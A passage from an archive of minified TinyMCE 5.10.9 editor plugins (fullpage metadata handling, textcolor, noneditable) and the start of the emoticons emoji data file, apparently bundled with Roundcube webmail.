t,n=e.attr("name"),l=e.attr("http-equiv");n?s[n.toLowerCase()]=e.attr("content"):"Content-Type"===l&&(t=/charset\s*=\s*(.*)\s*/gi.exec(e.attr("content")))&&(s.docencoding=t[1])}),(r=c.getAll("html")[0])&&(s.langcode=d(r,"lang")||d(r,"xml:lang")),s.stylesheets=[],w.each(c.getAll("link"),function(e){"stylesheet"===e.attr("rel")&&s.stylesheets.push(e.attr("href"))}),(r=c.getAll("body")[0])&&(s.langdir=d(r,"dir"),s.style=d(r,"style"),s.visited_color=d(r,"vlink"),s.link_color=d(r,"link"),s.active_color=d(r,"alink")),o=s,e=g(g({},{title:"",keywords:"",description:"",robots:"",author:"",docencoding:""}),o),l.windowManager.open({title:"Metadata and Document Properties",size:"normal",body:{type:"panel",items:[{name:"title",type:"input",label:"Title"},{name:"keywords",type:"input",label:"Keywords"},{name:"description",type:"input",label:"Description"},{name:"robots",type:"input",label:"Robots"},{name:"author",type:"input",label:"Author"},{name:"docencoding",type:"input",label:"Encoding"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:e,onSubmit:function(e){var t=e.getData(),n=function(e,o,t){function n(e,t,n){e.attr(t,n||void 0)}function r(e){s.firstChild?s.insert(e,s.firstChild):s.append(e)}var a,l,i=e.dom,c=C(e,t),s=c.getAll("head")[0];s||(a=c.getAll("html")[0],s=new f("head",1),a.firstChild?a.insert(s,a.firstChild,!0):a.append(s)),a=c.firstChild,o.xml_pi?(l='version="1.0"',o.docencoding&&(l+=' encoding="'+o.docencoding+'"'),7!==a.type&&(a=new f("xml",7),c.insert(a,c.firstChild,!0)),a.value=l):a&&7===a.type&&a.remove(),a=c.getAll("#doctype")[0],o.doctype?(a||(a=new f("#doctype",10),o.xml_pi?c.insert(a,c.firstChild):r(a)),a.value=o.doctype.substring(9,o.doctype.length-1)):a&&a.remove(),a=null,w.each(c.getAll("meta"),function(e){"Content-Type"===e.attr("http-equiv")&&(a=e)}),o.docencoding?(a||((a=new f("meta",1)).attr("http-equiv","Content-Type"),a.shortEnded=!0,r(a)),a.attr("content","text/html; charset="+o.docencoding)):a&&a.remove(),a=c.getAll("title")[0],o.title?(a?a.empty():r(a=new f("title",1)),a.append(new f("#text",3)).value=o.title):a&&a.remove(),w.each("keywords,description,author,copyright,robots".split(","),function(e){for(var t,n=c.getAll("meta"),l=o[e],i=0;i<n.length;i++)if((t=n[i]).attr("name")===e)return void(l?t.attr("content",l):t.remove());l&&((a=new f("meta",1)).attr("name",e),a.attr("content",l),a.shortEnded=!0,r(a))});var d={};w.each(c.getAll("link"),function(e){"stylesheet"===e.attr("rel")&&(d[e.attr("href")]=e)}),w.each(o.stylesheets,function(e){d[e]||((a=new f("link",1)).attr({rel:"stylesheet",text:"text/css",href:e}),a.shortEnded=!0,r(a)),delete d[e]}),w.each(d,function(e){e.remove()}),(a=c.getAll("body")[0])&&(n(a,"dir",o.langdir),n(a,"style",o.style),n(a,"vlink",o.visited_color),n(a,"link",o.link_color),n(a,"alink",o.active_color),i.setAttribs(e.getBody(),{style:o.style,dir:o.dir,vLink:o.visited_color,link:o.link_color,aLink:o.active_color})),(a=c.getAll("html")[0])&&(n(a,"lang",o.langcode),n(a,"xml:lang",o.langcode)),s.firstChild||s.remove();var u=p({validate:!1,indent:!0,indent_before:"head,html,body,meta,title,script,link,style",indent_after:"head,html,body,meta,title,script,link,style"}).serialize(c);return u.substring(0,u.indexOf("</body>"))}(l,w.extend(o,t),i.get());i.set(n),e.close()}})})}function A(e){return e.replace(/<\/?[A-Z]+/g,function(e){return e.toLowerCase()})}function s(e,t,n,l){var i,o,r,a,c,s,d,u,m,g,f,p,h,y="",v=e.dom;l.selection||(a=e.getParam("protect"),c=l.content,w.each(a,function(e){c=c.replace(e,function(e){return"\x3c!--mce:protected "+escape(e)+"--\x3e"})}),r=c,"raw"===l.format&&t.get()||l.source_view&&_(e)||(-1!==(i=(r=(r=0!==r.length||l.source_view?r:w.trim(t.get())+"\n"+w.trim(r)+"\n"+w.trim(n.get())).replace(/<(\/?)BODY/gi,"<$1body")).indexOf("<body"))?(i=r.indexOf(">",i),t.set(A(r.substring(0,i+1))),-1===(o=r.indexOf("</body",i))&&(o=r.length),l.content=w.trim(r.substring(i+1,o)),n.set(A(r.substring(o)))):(t.set((h=p="",(g=e).getParam("fullpage_default_xml_pi")&&(p+='<?xml version="1.0" encoding="'+(b(g)||"ISO-8859-1")+'" ?>\n'),p+=g.getParam("fullpage_default_doctype","<!DOCTYPE html>"),p+="\n<html>\n<head>\n",(f=g.getParam("fullpage_default_title"))&&(p+="<title>"+f+"</title>\n"),(f=b(g))&&(p+='<meta http-equiv="Content-Type" content="text/html; charset='+f+'" />\n'),(f=x(g))&&(h+="font-family: "+f+";"),(f=k(g))&&(h+="font-size: "+f+";"),(f=g.getParam("fullpage_default_text_color"))&&(h+="color: "+f+";"),p+="</head>\n<body"+(h?' style="'+h+'"':"")+">\n")),n.set("\n</body>\n</html>")),s=C(e,t.get()),P(s.getAll("style"),function(e){e.firstChild&&(y+=e.firstChild.value)}),(d=s.getAll("body")[0])&&v.setAttribs(e.getBody(),{style:d.attr("style")||"",dir:d.attr("dir")||"",vLink:d.attr("vlink")||"",link:d.attr("link")||"",aLink:d.attr("alink")||""}),v.remove("fullpage_styles"),u=e.getDoc().getElementsByTagName("head")[0],y&&v.add(u,"style",{id:"fullpage_styles"}).appendChild(document.createTextNode(y)),m={},w.each(u.getElementsByTagName("link"),function(e){"stylesheet"===e.rel&&e.getAttribute("data-mce-fullpage")&&(m[e.href]=e)}),w.each(s.getAll("link"),function(e){var t=e.attr("href");if(!t)return!0;m[t]||"stylesheet"!==e.attr("rel")||v.add(u,"link",{rel:"stylesheet",text:"text/css",href:t,"data-mce-fullpage":"1"}),delete m[t]}),w.each(m,function(e){e.parentNode.removeChild(e)})))}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),g=function(){return(g=Object.assign||function(e){for(var t,n=1,l=arguments.length;n<l;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e}).apply(this,arguments)},w=tinymce.util.Tools.resolve("tinymce.util.Tools"),n=tinymce.util.Tools.resolve("tinymce.html.DomParser"),f=tinymce.util.Tools.resolve("tinymce.html.Node"),p=tinymce.util.Tools.resolve("tinymce.html.Serializer"),P=w.each;e.add("fullpage",function(e){var t,o,r,a,n=i(""),l=i("");c(e,n),(t=e).ui.registry.addButton("fullpage",{tooltip:"Metadata and document properties",icon:"document-properties",onAction:function(){t.execCommand("mceFullPageProperties")}}),t.ui.registry.addMenuItem("fullpage",{text:"Metadata and document properties",icon:"document-properties",onAction:function(){t.execCommand("mceFullPageProperties")}}),r=n,a=l,(o=e).on("BeforeSetContent",function(e){s(o,r,a,e)}),o.on("GetContent",function(e){var t,n,l,i;t=o,n=r.get(),l=a.get(),"html"!==(i=e).format||i.selection||i.source_view&&_(t)||(i.content=(w.trim(n)+"\n"+w.trim(i.content)+"\n"+w.trim(l)).replace(/<!--mce:protected ([\s\S]*?)-->/g,function(e,t){return unescape(t)}))})})}();PK
h�\^UƄ��2program/js/tinymce/plugins/textcolor/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";tinymce.util.Tools.resolve("tinymce.PluginManager").add("textcolor",function(){})}();PK
h�\W����4program/js/tinymce/plugins/noneditable/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function l(t){return t.getParam("noneditable_noneditable_class","mceNonEditable")}function u(e){return function(t){return-1!==(" "+t.attr("class")+" ").indexOf(e)}}function e(e){var t,r="contenteditable",n=" "+f.trim(e.getParam("noneditable_editable_class","mceEditable"))+" ",a=" "+f.trim(l(e))+" ",i=u(n),o=u(a),c=(t=e.getParam("noneditable_regexp",[]))&&t.constructor===RegExp?[t]:t;e.on("PreInit",function(){0<c.length&&e.on("BeforeSetContent",function(t){!function(t,e,n){var r=e.length,a=n.content;if("raw"!==n.format){for(;r--;)a=a.replace(e[r],function(i,o,c){return function(t){var e=arguments,n=e[e.length-2],r=0<n?o.charAt(n-1):"";if('"'===r)return t;if(">"===r){var a=o.lastIndexOf("<",n);if(-1!==a&&-1!==o.substring(a,n).indexOf('contenteditable="false"'))return t}return'<span class="'+c+'" data-mce-content="'+i.dom.encode(e[0])+'">'+i.dom.encode("string"==typeof e[1]?e[1]:e[0])+"</span>"}}(t,a,l(t)));n.content=a}}(e,c,t)}),e.parser.addAttributeFilter("class",function(t){for(var e,n=t.length;n--;)e=t[n],i(e)?e.attr(r,"true"):o(e)&&e.attr(r,"false")}),e.serializer.addAttributeFilter(r,function(t){for(var e,n=t.length;n--;)e=t[n],(i(e)||o(e))&&(0<c.length&&e.attr("data-mce-content")?(e.name="#text",e.type=3,e.raw=!0,e.value=e.attr("data-mce-content")):e.attr(r,null))})})}var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),f=tinymce.util.Tools.resolve("tinymce.util.Tools");t.add("noneditable",function(t){e(t)})}();PK
h�\����\�\6program/js/tinymce/plugins/emoticons/js/emojiimages.jsnu�[���// Source: npm package: emojilib
// Images provided by twemoji: https://github.com/twitter/twemoji
window.tinymce.Resource.add("tinymce.plugins.emoticons", {
  100: {
    keywords: [ "score", "perfect", "numbers", "century", "exam", "quiz", "test", "pass", "hundred" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcaf" src="1f4af.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  1234: {
    keywords: [ "numbers", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd22" src="1f522.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  grinning: {
    keywords: [ "face", "smile", "happy", "joy", ":D", "grin" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude00" src="1f600.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  grimacing: {
    keywords: [ "face", "grimace", "teeth" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2c" src="1f62c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  grin: {
    keywords: [ "face", "happy", "smile", "joy", "kawaii" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude01" src="1f601.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  joy: {
    keywords: [ "face", "cry", "tears", "weep", "happy", "happytears", "haha" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude02" src="1f602.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  rofl: {
    keywords: [ "face", "rolling", "floor", "laughing", "lol", "haha" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd23" src="1f923.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  partying: {
    keywords: [ "face", "celebration", "woohoo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd73" src="1f973.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smiley: {
    keywords: [ "face", "happy", "joy", "haha", ":D", ":)", "smile", "funny" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude03" src="1f603.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smile: {
    keywords: [ "face", "happy", "joy", "funny", "haha", "laugh", "like", ":D", ":)" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude04" src="1f604.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sweat_smile: {
    keywords: [ "face", "hot", "happy", "laugh", "sweat", "smile", "relief" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude05" src="1f605.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  laughing: {
    keywords: [ "happy", "joy", "lol", "satisfied", "haha", "face", "glad", "XD", "laugh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude06" src="1f606.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  innocent: {
    keywords: [ "face", "angel", "heaven", "halo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude07" src="1f607.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  wink: {
    keywords: [ "face", "happy", "mischievous", "secret", ";)", "smile", "eye" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude09" src="1f609.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  blush: {
    keywords: [ "face", "smile", "happy", "flushed", "crush", "embarrassed", "shy", "joy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0a" src="1f60a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  slightly_smiling_face: {
    keywords: [ "face", "smile" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude42" src="1f642.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  upside_down_face: {
    keywords: [ "face", "flipped", "silly", "smile" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude43" src="1f643.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  relaxed: {
    keywords: [ "face", "blush", "massage", "happiness" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u263a\ufe0f" src="263a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  yum: {
    keywords: [ "happy", "joy", "tongue", "smile", "face", "silly", "yummy", "nom", "delicious", "savouring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0b" src="1f60b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  relieved: {
    keywords: [ "face", "relaxed", "phew", "massage", "happiness" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0c" src="1f60c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  heart_eyes: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "crush", "heart" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0d" src="1f60d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smiling_face_with_three_hearts: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "crush", "hearts", "adore" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd70" src="1f970.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_heart: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude18" src="1f618.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing: {
    keywords: [ "love", "like", "face", "3", "valentines", "infatuation", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude17" src="1f617.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_smiling_eyes: {
    keywords: [ "face", "affection", "valentines", "infatuation", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude19" src="1f619.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_closed_eyes: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1a" src="1f61a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue_winking_eye: {
    keywords: [ "face", "prank", "childish", "playful", "mischievous", "smile", "wink", "tongue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1c" src="1f61c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  zany: {
    keywords: [ "face", "goofy", "crazy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2a" src="1f92a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  raised_eyebrow: {
    keywords: [ "face", "distrust", "scepticism", "disapproval", "disbelief", "surprise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd28" src="1f928.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  monocle: {
    keywords: [ "face", "stuffy", "wealthy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd0" src="1f9d0.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue_closed_eyes: {
    keywords: [ "face", "prank", "playful", "mischievous", "smile", "tongue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1d" src="1f61d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue: {
    keywords: [ "face", "prank", "childish", "playful", "mischievous", "smile", "tongue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1b" src="1f61b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  money_mouth_face: {
    keywords: [ "face", "rich", "dollar", "money" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd11" src="1f911.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  nerd_face: {
    keywords: [ "face", "nerdy", "geek", "dork" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd13" src="1f913.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sunglasses: {
    keywords: [ "face", "cool", "smile", "summer", "beach", "sunglass" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0e" src="1f60e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  star_struck: {
    keywords: [ "face", "smile", "starry", "eyes", "grinning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd29" src="1f929.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  clown_face: {
    keywords: [ "face" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd21" src="1f921.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  cowboy_hat_face: {
    keywords: [ "face", "cowgirl", "hat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd20" src="1f920.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  hugs: {
    keywords: [ "face", "smile", "hug" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd17" src="1f917.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smirk: {
    keywords: [ "face", "smile", "mean", "prank", "smug", "sarcasm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0f" src="1f60f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  no_mouth: {
    keywords: [ "face", "hellokitty" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude36" src="1f636.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  neutral_face: {
    keywords: [ "indifference", "meh", ":|", "neutral" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude10" src="1f610.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  expressionless: {
    keywords: [ "face", "indifferent", "-_-", "meh", "deadpan" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude11" src="1f611.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  unamused: {
    keywords: [ "indifference", "bored", "straight face", "serious", "sarcasm", "unimpressed", "skeptical", "dubious", "side_eye" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude12" src="1f612.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  roll_eyes: {
    keywords: [ "face", "eyeroll", "frustrated" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude44" src="1f644.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  thinking: {
    keywords: [ "face", "hmmm", "think", "consider" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd14" src="1f914.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  lying_face: {
    keywords: [ "face", "lie", "pinocchio" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd25" src="1f925.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  hand_over_mouth: {
    keywords: [ "face", "whoops", "shock", "surprise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2d" src="1f92d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  shushing: {
    keywords: [ "face", "quiet", "shhh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2b" src="1f92b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  symbols_over_mouth: {
    keywords: [ "face", "swearing", "cursing", "cussing", "profanity", "expletive" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2c" src="1f92c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  exploding_head: {
    keywords: [ "face", "shocked", "mind", "blown" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2f" src="1f92f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  flushed: {
    keywords: [ "face", "blush", "shy", "flattered" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude33" src="1f633.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  disappointed: {
    keywords: [ "face", "sad", "upset", "depressed", ":(" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1e" src="1f61e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  worried: {
    keywords: [ "face", "concern", "nervous", ":(" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1f" src="1f61f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  angry: {
    keywords: [ "mad", "face", "annoyed", "frustrated" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude20" src="1f620.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  rage: {
    keywords: [ "angry", "mad", "hate", "despise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude21" src="1f621.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  pensive: {
    keywords: [ "face", "sad", "depressed", "upset" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude14" src="1f614.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  confused: {
    keywords: [ "face", "indifference", "huh", "weird", "hmmm", ":/" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude15" src="1f615.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  slightly_frowning_face: {
    keywords: [ "face", "frowning", "disappointed", "sad", "upset" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude41" src="1f641.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  frowning_face: {
    keywords: [ "face", "sad", "upset", "frown" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2639" src="2639.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  persevere: {
    keywords: [ "face", "sick", "no", "upset", "oops" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude23" src="1f623.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  confounded: {
    keywords: [ "face", "confused", "sick", "unwell", "oops", ":S" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude16" src="1f616.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  tired_face: {
    keywords: [ "sick", "whine", "upset", "frustrated" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2b" src="1f62b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  weary: {
    keywords: [ "face", "tired", "sleepy", "sad", "frustrated", "upset" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude29" src="1f629.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  pleading: {
    keywords: [ "face", "begging", "mercy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7a" src="1f97a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  triumph: {
    keywords: [ "face", "gas", "phew", "proud", "pride" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude24" src="1f624.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  open_mouth: {
    keywords: [ "face", "surprise", "impressed", "wow", "whoa", ":O" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2e" src="1f62e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  scream: {
